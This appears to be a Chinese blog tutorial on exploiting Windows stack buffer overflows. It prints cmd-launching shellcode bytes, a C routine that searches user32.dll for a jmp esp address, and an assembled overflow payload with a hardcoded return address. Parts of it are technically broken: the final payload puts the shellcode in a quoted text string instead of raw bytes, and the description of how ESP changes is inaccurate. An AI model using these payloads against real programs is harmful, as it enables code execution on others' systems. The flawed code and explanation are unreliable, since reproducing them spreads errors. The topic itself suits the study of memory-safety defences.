再谈栈溢出
上回书说到,向缓冲区内填充数据,如果数据很长,超过缓冲区本身容量,数据会溢出空间,覆盖合法数据。但是,可以精心设计溢出数据,造成攻击。
1. 本地缓冲区溢出简单利用
已有条件:
1. 知道有问题程序返回点的精准地址,即可以把他覆盖成任意地址。
2. 有了shellcode。
3. 把有问题程序返回点地址覆盖成shellcode地址,即可成功利用缓冲区溢出。
现在的目的:shellcode的地址是什么?即把返回点地址覆盖成什么?
在windows下利用系统核心dll里的指令完成跳转。
用系统核心dll中的jmp esp 地址来覆盖返回地址,然后把shellcode紧跟其后。
利用格式:NNNNNNNNRSSSSSSSS,N=Nop,R=jmp esp,S=shellcode。
覆盖之后堆栈图示:
… |
---|
Nop |
Nop |
Nop |
Jmp esp(原eip) |
S0 |
S1 |
S2 |
s3 |
… |
函数执行完成之后,esp指向原eip地址,而eip指向Ret指令
(eip指向下一条指令地址,Ret指令相当于pop eip)。
当eip被覆盖为 jmp esp之后,ret 相当于指向 jmp esp的地址。然后esp下移,指向S0,然后开始执行Shellcode。
1. EIP 指令指针指向下一条要执行的命令,一般会自动加 2. ESP 堆栈顶指针指向堆栈的顶部。在PUSH 时,ESP 往上走,减 1;在 POP 时,ESP 往下走,加 1。
2. 栈溢出的简单构筑
以一简单c为例:
#include<cstdio>
#include<cstring>
int main() {
char name[] = "tfire";
char output[8];
strcpy(output, name);
for (int i = 0; i < 8; i++) {
printf("\\0x%x", output[i]);
}
return 0;
}
执行结果:
\0x74\0x66\0x69\0x72\0x65\0x0\0xfffffffe\0xfffffffe
给出转换表:
给出shellcode机器码(功能为打开dos窗口):
char shellcode[]=
{
0x8B,0xE5, 0x55,0x8B,0xEC,0x83,0xEC,0x0C,0xB8, 0x63,0x6F,0x6D,0x6D,0x6D,0x6D,0x6F,0x63,0x89, 0x45,0xF4,0xB8,0x61,0x6E,0x64,0x2E,0x89,0x45, 0xF8,0xB8,0x63,0x6F,0x6D,0x22,0x89,0x45,0xFC, 0x33,0xD2, 0x88,0x55,0xFF, 0x8D,0x45,0xF4, 0x50, 0xB8,0x24,0x98,0x01,0x78, 0xFF,0xD0
};
将name[]进行构造:
name[8] | ebp | RET | ShellCode |
---|---|---|---|
AAAAAAAA | AAAA | 0x76388b13 | SSSSSSSS |
关于这个jmp esp的地址,会因为windows版本不同而不同。
在网上找了一个加载动态库esp地址的代码(这个还没看到…)
#include <windows.h>
#include <stdio.h>
int main(int, char**, char**)
{
BYTE* pbyte;
int nPos = 0, nAddr = 0;
HINSTANCE hHinst = NULL;
bool bTips = true;
hHinst = LoadLibrary("user32.dll");
if (!hHinst) return 0;
pbyte = (BYTE*)hHinst;
while (bTips)
{
if (pbyte[nPos] == 0xff && pbyte[nPos + 1] == 0xe4)
{
nAddr = (int)pbyte + nPos;
printf("address is 0x%x\n", nAddr);
bTips = false;
}
else
nPos++;
}
if (hHinst != NULL) FreeLibrary(hHinst);
return 1;
}
输出地址:
0x76388b13
将代码合并整理:
char name[]=
{
"\x41\x41\x41\x41\x41\x41\x41\x41"//name=AAAA
"\x41\x41\x41\x41" //ebp=AAAA
"\x13\x8b\x38\x76" //覆盖成jmp esp地址
"0x8B,0xE5, 0x55,0x8B,0xEC,0x83,0xEC,0x0C,0xB8, 0x63,0x6F,0x6D,0x6D,0x6D,0x6D,0x6F,0x63,0x89, 0x45,0xF4,0xB8,0x61,0x6E,0x64,0x2E,0x89,0x45, 0xF8,0xB8,0x63,0x6F,0x6D,0x22,0x89,0x45,0xFC, 0x33,0xD2, 0x88,0x55,0xFF, 0x8D,0x45,0xF4, 0x50, 0xB8,0x24,0x98,0x01,0x78, 0xFF,0xD0"
//此处为shellcode地址,功能为打开dos窗口
}
接下来执行程序,明明是字符串的复制,却会打开dos窗口,至此,缓冲区溢出构建完成。
3. 溢出实例
看一个简单代码:
#include <stdio.h>
#include <string.h>
int main(int argc, const char * argv[]) {
char passsword[8] = "secret", input[8];
while (1) {
printf("Enter your password:");
gets(input);
if (strcmp(input, passsword) == 0) {
printf("Welcome!\n");
break;
}else {
printf("Sorry,your password is wrong.\n");
}
}
return 0;
}
看看结果吧
What??
输入ok居然对了??
这就是缓冲区溢出造成的,具体已经解释过了,这迷人的魅力啊~